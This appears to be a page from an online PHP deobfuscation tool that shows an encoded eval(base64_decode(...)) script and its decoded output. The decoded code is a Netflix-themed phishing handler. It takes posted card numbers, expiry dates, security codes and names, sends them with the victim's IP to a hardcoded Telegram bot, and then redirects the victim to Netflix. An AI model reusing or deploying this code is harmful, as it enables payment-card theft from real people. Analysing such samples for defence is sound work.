Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIE5yMUJOOyBieG1hYjogJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOyBn..

Decoded Output download


 goto Nr1BN; bxmab: $result = curl_exec($ch); goto s8XFp; ibRT6: curl_setopt($ch, CURLOPT_HEADER, false); goto Qfu7E; QyYB2: $message .= "\12"; goto qrIHN; El5Qi: curl_setopt($ch, CURLOPT_POST, 1); goto YstOW; hA1R0: $message .= "\x24\44\55\55\x2d\55\55\55\x2d\x2d\55\55\55\55\x2d\55\x2d\116\x65\x74\x66\154\x69\170\55\x2d\x2d\55\55\x2d\55\x2d\55\x2d\x2d\55\x2d\x2d\55\55\55\55\x2d\55\55\x2d\55\55\55\44\x24\12"; goto Vpkav; s8XFp: curl_close($ch); goto rB31l; Do6ZT: $ua = strtolower($_SERVER["\x48\124\x54\120\137\125\123\105\122\x5f\x41\x47\105\x4e\x54"]); goto dor0U; xBoAp: $params = array("\x63\x68\x61\x74\x5f\x69\x64" => $chatId, "\164\x65\170\164" => $message); goto HXSyB; pfWh5: $redirect_url = "\x68\x74\x74\x70\163\72\57\57\167\x77\167\x2e\156\x65\164\x66\154\151\x78\56\x63\157\155"; goto f0fbl; ulPRf: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); goto bxmab; rB31l: $useragent = $_SERVER["\x48\124\124\120\137\x55\123\105\x52\x5f\x41\x47\x45\x4e\x54"]; goto pfWh5; ti2Kf: $message = "\12"; goto IzD_Y; qrIHN: $botToken = "\67\62\70\x33\x38\x37\66\x36\61\71\x3a\101\101\107\150\x43\154\125\110\x48\155\156\x7a\145\x51\x72\x72\105\x74\130\141\x63\x58\x76\137\x4b\167\115\x45\x4a\x37\162\170\x47\x34\163"; goto z2RLQ; IzD_Y: $message .= "\55\x2d\x2d\55\55\x2d\x2d\55\55\55\x2d\40\174\x20\x49\120\40\x3a\40{$ip}\40\x20\174\40\55\x2d\55\55\55\x2d\x2d\55\55\55\x2d\12"; goto hA1R0; eGkOK: $message .= "\143\162\145\x64\151\x74\103\141\162\144\123\145\x63\x75\162\151\x74\x79\103\x6f\x64\x65\x20\40\40\x20\40\x3a\x20\40" . $_POST["\143\162\145\x64\x69\x74\x43\141\x72\x64\x53\x65\143\165\162\x69\x74\x79\103\x6f\144\x65"] . "\12"; goto wwXws; HXSyB: $ch = curl_init($website . "\57\x73\x65\156\144\x4d\145\x73\x73\141\x67\145"); goto ibRT6; YstOW: curl_setopt($ch, CURLOPT_POSTFIELDS, $params); goto ulPRf; UPEz5: $message .= "\x24\44\55\55\x2d\55\x2d\x2d\55\55\x2d\55\x2d\55\55\x2d\55\55\55\x2d\x2d\x2d\x2d\55\55\55\55\x2d\55\x2d\55\55\x2d\55\55\55\x2d\55\55\x2d\x2d\x2d\55\x2d\55\55\55\44\x24\12"; goto QyYB2; Nr1BN: session_start(); goto Xe_3n; nSQ_c: $chatId = -4225372336; goto xBoAp; Ol5gC: die; goto SE2fm; h4klS: $message .= "\x63\162\145\x64\151\164\105\x78\160\151\x72\141\164\151\157\156\x4d\x6f\156\164\x68\40\x20\40\x20\x20\72\40\40" . $_POST["\143\162\x65\144\x69\164\105\x78\x70\x69\162\x61\164\x69\157\156\x4d\157\x6e\x74\x68"] . "\xa"; goto eGkOK; Vpkav: $message .= "\x63\x72\x65\x64\x69\x74\x43\x61\162\x64\x4e\165\x6d\x62\x65\x72\40\x20\x20\40\x20\72\x20\x20" . $_POST["\143\162\x65\x64\x69\x74\x43\141\162\144\116\165\x6d\142\145\x72"] . "\12"; goto h4klS; dor0U: $ip = getenv("\x52\x45\115\x4f\124\105\137\101\104\x44\x52"); goto ti2Kf; z2RLQ: $website = "\150\x74\164\160\163\x3a\x2f\57\x61\160\x69\x2e\164\145\x6c\145\x67\x72\x61\x6d\x2e\157\x72\x67\57\x62\x6f\x74" . $botToken; goto nSQ_c; wwXws: $message .= "\x66\151\x72\163\164\x4e\x61\155\x65\40\40\40\x20\40\x3a\x20\x20" . $_POST["\146\151\x72\x73\164\x4e\141\x6d\145"] . "\12"; goto UPEz5; Xe_3n: error_reporting(0); goto Do6ZT; f0fbl: header("\114\157\143\x61\164\151\x6f\x6e\x3a\40{$redirect_url}"); goto Ol5gC; Qfu7E: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto El5Qi; SE2fm:

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIE5yMUJOOyBieG1hYjogJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOyBnb3RvIHM4WEZwOyBpYlJUNjogY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgZmFsc2UpOyBnb3RvIFFmdTdFOyBReVlCMjogJG1lc3NhZ2UgLj0gIlwxMiI7IGdvdG8gcXJJSE47IEVsNVFpOiBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7IGdvdG8gWXN0T1c7IGhBMVIwOiAkbWVzc2FnZSAuPSAiXHgyNFw0NFw1NVw1NVx4MmRcNTVcNTVcNTVceDJkXHgyZFw1NVw1NVw1NVw1NVx4MmRcNTVceDJkXDExNlx4NjVceDc0XHg2NlwxNTRceDY5XDE3MFw1NVx4MmRceDJkXDU1XDU1XHgyZFw1NVx4MmRcNTVceDJkXHgyZFw1NVx4MmRceDJkXDU1XDU1XDU1XDU1XHgyZFw1NVw1NVx4MmRcNTVcNTVcNTVcNDRceDI0XDEyIjsgZ290byBWcGthdjsgczhYRnA6IGN1cmxfY2xvc2UoJGNoKTsgZ290byByQjMxbDsgRG82WlQ6ICR1YSA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFwxMjBcMTM3XDEyNVwxMjNcMTA1XDEyMlx4NWZceDQxXHg0N1wxMDVceDRlXHg1NCJdKTsgZ290byBkb3IwVTsgeEJvQXA6ICRwYXJhbXMgPSBhcnJheSgiXHg2M1x4NjhceDYxXHg3NFx4NWZceDY5XHg2NCIgPT4gJGNoYXRJZCwgIlwxNjRceDY1XDE3MFwxNjQiID0+ICRtZXNzYWdlKTsgZ290byBIWFN5QjsgcGZXaDU6ICRyZWRpcmVjdF91cmwgPSAiXHg2OFx4NzRceDc0XHg3MFwxNjNcNzJcNTdcNTdcMTY3XHg3N1wxNjdceDJlXDE1Nlx4NjVcMTY0XHg2NlwxNTRcMTUxXHg3OFw1Nlx4NjNcMTU3XDE1NSI7IGdvdG8gZjBmYmw7IHVsUFJmOiBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsgZ290byBieG1hYjsgckIzMWw6ICR1c2VyYWdlbnQgPSAkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XDEyMFwxMzdceDU1XDEyM1wxMDVceDUyXHg1Zlx4NDFceDQ3XHg0NVx4NGVceDU0Il07IGdvdG8gcGZXaDU7IHRpMktmOiAkbWVzc2FnZSA9ICJcMTIiOyBnb3RvIEl6RF9ZOyBxcklITjogJGJvdFRva2VuID0gIlw2N1w2Mlw3MFx4MzNceDM4XHgzN1w2Nlx4MzZcNjFcNzFceDNhXDEwMVwxMDFcMTA3XDE1MFx4NDNcMTU0XDEyNVwxMTBceDQ4XDE1NVwxNTZceDdhXDE0NVx4NTFceDcyXHg3MlwxMDVceDc0XDEzMFwxNDFceDYzXHg1OFx4NzZcMTM3XHg0YlwxNjdcMTE1XHg0NVx4NGFceDM3XDE2MlwxNzBceDQ3XHgzNFwxNjMiOyBnb3RvIHoyUkxROyBJekRfWTogJG1lc3NhZ2UgLj0gIlw1NVx4MmRceDJkXDU1XDU1XHgyZFx4MmRcNTVcNTVcNTVceDJkXDQwXDE3NFx4MjBceDQ5XDEyMFw0MFx4M2FcNDB7JGlwfVw0MFx4MjBcMTc0XDQwXDU1XHgyZFw1NVw1NVw1NVx4MmRceDJkXDU1XDU1XDU1XHgyZFwxMiI7IGdvdG8gaEExUjA7IGVHa09LOiAkbWVzc2FnZSAuPSAiXDE0M1wxNjJcMTQ1XHg2NFwxNTFceDc0XDEwM1wxNDFcMTYyXDE0NFwxMjNcMTQ1XHg2M1x4NzVcMTYyXDE1MVx4NzRceDc5XDEwM1x4NmZceDY0XHg2NVx4MjBcNDBcNDBceDIwXDQwXHgzYVx4MjBcNDAiIC4gJF9QT1NUWyJcMTQzXDE2MlwxNDVceDY0XHg2OVx4NzRceDQzXDE0MVx4NzJceDY0XHg1M1x4NjVcMTQzXDE2NVwxNjJceDY5XHg3NFx4NzlcMTAzXHg2ZlwxNDRceDY1Il0gLiAiXDEyIjsgZ290byB3d1h3czsgSFhTeUI6ICRjaCA9IGN1cmxfaW5pdCgkd2Vic2l0ZSAuICJcNTdceDczXHg2NVwxNTZcMTQ0XHg0ZFwxNDVceDczXHg3M1wxNDFceDY3XDE0NSIpOyBnb3RvIGliUlQ2OyBZc3RPVzogY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRwYXJhbXMpOyBnb3RvIHVsUFJmOyBVUEV6NTogJG1lc3NhZ2UgLj0gIlx4MjRcNDRcNTVcNTVceDJkXDU1XHgyZFx4MmRcNTVcNTVceDJkXDU1XHgyZFw1NVw1NVx4MmRcNTVcNTVcNTVceDJkXHgyZFx4MmRceDJkXDU1XDU1XDU1XDU1XHgyZFw1NVx4MmRcNTVcNTVceDJkXDU1XDU1XDU1XHgyZFw1NVw1NVx4MmRceDJkXHgyZFw1NVx4MmRcNTVcNTVcNTVcNDRceDI0XDEyIjsgZ290byBReVlCMjsgTnIxQk46IHNlc3Npb25fc3RhcnQoKTsgZ290byBYZV8zbjsgblNRX2M6ICRjaGF0SWQgPSAtNDIyNTM3MjMzNjsgZ290byB4Qm9BcDsgT2w1Z0M6IGRpZTsgZ290byBTRTJmbTsgaDRrbFM6ICRtZXNzYWdlIC49ICJceDYzXDE2MlwxNDVceDY0XDE1MVwxNjRcMTA1XHg3OFwxNjBcMTUxXHg3MlwxNDFcMTY0XDE1MVwxNTdcMTU2XHg0ZFx4NmZcMTU2XDE2NFx4NjhcNDBceDIwXDQwXHgyMFx4MjBcNzJcNDBcNDAiIC4gJF9QT1NUWyJcMTQzXDE2Mlx4NjVcMTQ0XHg2OVwxNjRcMTA1XHg3OFx4NzBceDY5XDE2Mlx4NjFcMTY0XHg2OVwxNTdcMTU2XHg0ZFwxNTdceDZlXHg3NFx4NjgiXSAuICJceGEiOyBnb3RvIGVHa09LOyBWcGthdjogJG1lc3NhZ2UgLj0gIlx4NjNceDcyXHg2NVx4NjRceDY5XHg3NFx4NDNceDYxXDE2Mlx4NjRceDRlXDE2NVx4NmRceDYyXHg2NVx4NzJcNDBceDIwXHgyMFw0MFx4MjBcNzJceDIwXHgyMCIgLiAkX1BPU1RbIlwxNDNcMTYyXHg2NVx4NjRceDY5XHg3NFx4NDNcMTQxXDE2MlwxNDRcMTE2XDE2NVx4NmRcMTQyXDE0NVx4NzIiXSAuICJcMTIiOyBnb3RvIGg0a2xTOyBkb3IwVTogJGlwID0gZ2V0ZW52KCJceDUyXHg0NVwxMTVceDRmXDEyNFwxMDVcMTM3XDEwMVwxMDRceDQ0XHg1MiIpOyBnb3RvIHRpMktmOyB6MlJMUTogJHdlYnNpdGUgPSAiXDE1MFx4NzRcMTY0XDE2MFwxNjNceDNhXHgyZlw1N1x4NjFcMTYwXHg2OVx4MmVcMTY0XDE0NVx4NmNcMTQ1XHg2N1x4NzJceDYxXHg2ZFx4MmVcMTU3XHg3Mlx4NjdcNTdceDYyXHg2Zlx4NzQiIC4gJGJvdFRva2VuOyBnb3RvIG5TUV9jOyB3d1h3czogJG1lc3NhZ2UgLj0gIlx4NjZcMTUxXHg3MlwxNjNcMTY0XHg0ZVx4NjFcMTU1XHg2NVw0MFw0MFw0MFx4MjBcNDBceDNhXHgyMFx4MjAiIC4gJF9QT1NUWyJcMTQ2XDE1MVx4NzJceDczXDE2NFx4NGVcMTQxXHg2ZFwxNDUiXSAuICJcMTIiOyBnb3RvIFVQRXo1OyBYZV8zbjogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIERvNlpUOyBmMGZibDogaGVhZGVyKCJcMTE0XDE1N1wxNDNceDYxXDE2NFwxNTFceDZmXHg2ZVx4M2FcNDB7JHJlZGlyZWN0X3VybH0iKTsgZ290byBPbDVnQzsgUWZ1N0U6IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7IGdvdG8gRWw1UWk7IFNFMmZtOiA=')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 0c32a775737c6280f9d0ad528a3dd31a
Eval Count 1
Decode Time 40 ms